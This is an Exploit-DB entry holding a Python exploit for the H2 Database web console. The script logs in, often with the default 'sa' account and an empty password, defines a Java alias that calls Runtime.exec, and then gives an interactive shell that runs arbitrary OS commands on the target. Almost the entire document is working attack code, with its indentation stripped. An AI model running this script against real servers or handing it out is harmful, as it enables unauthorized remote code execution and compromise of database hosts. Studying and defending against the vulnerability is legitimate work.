H2 Database - 'Alias' Arbitrary Code Execution

EDB-ID: 44422
Author: gambler
Published: 2018-04-09
CVE: N/A
Type: Local
Platform: Java
Aliases: N/A
Advisory/Source: Link
Tags: N/A
Vulnerable App: Download Vulnerable Application

 Exploit Title: H2 Database Alias Abuse 
Date: 05/04/2018
Exploit Author: gambler
Vendor Homepage:www.h2database.com
Software Link: http://www.h2database.com/html/download.html
Version: all versions
Tested on: Linux, Mac OS
'''

import sys
import argparse
import html
import requests

# Blogpost about it
# https://mthbernardes.github.io/rce/2018/03/14/abusing-h2-database-alias.html

def getCookie(host):
url = 'http://{}'.format(host)
r = requests.get(url)
path = r.text.split('href = ')[1].split(';')[0].replace("'","").replace('.jsp','.do')
return '{}/{}'.format(url,path)

def login(url,user,passwd,database):
data = {'language':'en','setting':'Generic+H2+(Embedded)','name':'Generic+H2+(Embedded)','driver':'org.h2.Driver','url':database,'user':user,'password':passwd}
r = requests.post(url,data=data)
if '<th class="login">Login</th>' in r.text:
return False
return True

def prepare(url):
cmd = '''CREATE ALIAS EXECVE AS $$ String execve(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\\\A"); return s.hasNext() ? s.next() : ""; }$$;'''
url = url.replace('login','query')
r = requests.post(url,data={'sql':cmd})
if not 'Syntax error' in r.text:
return url
return False

def execve(url,cmd):
r = requests.post(url,data={'sql':"CALL EXECVE('{}')".format(cmd)})
try:
print(html.unescape(r.text.split('</th></tr><tr><td>')[1].split('</td>')[0].replace('<br />','\n').replace('&nbsp;',' ')).encode('utf-8').decode('utf-8','ignore'))
except Exception as e:
print('Something goes wrong')
print(e)

if __name__ == "__main__":
parser = argparse.ArgumentParser()
required = parser.add_argument_group('required arguments')
required.add_argument("-H",
"--host",
metavar='127.0.0.1:4336',
help="Specify a host",
required=True)
required.add_argument("-d",
"--database-url",
metavar='jdbc:h2~/test',
default="jdbc:h2~/test",
help="Database URL",
required=False)
required.add_argument("-u",
"--user",
metavar='username',
default="sa",
help="Username to log on H2 Database, default sa",
required=False)
required.add_argument("-p",
"--password",
metavar='password',
default="",
help="Password to log on H2 Database, default None",
required=False)
args = parser.parse_args()

url = getCookie(args.host)
if login(url,args.user,args.password,args.database_url):
url = prepare(url)
if url:
while 1:
try:
cmd = input('[email protected] ')
execve(url,cmd)
except KeyboardInterrupt:
print("\nProfessores ensinam, nadadores Nadam e Hackers Hackeiam")
sys.exit(0)
else:
print('ERROR - Inserting Payload')
print("Something goes wrong, exiting...")
else:
print("ERROR - Auth")
print("Something goes wrong, exiting...")

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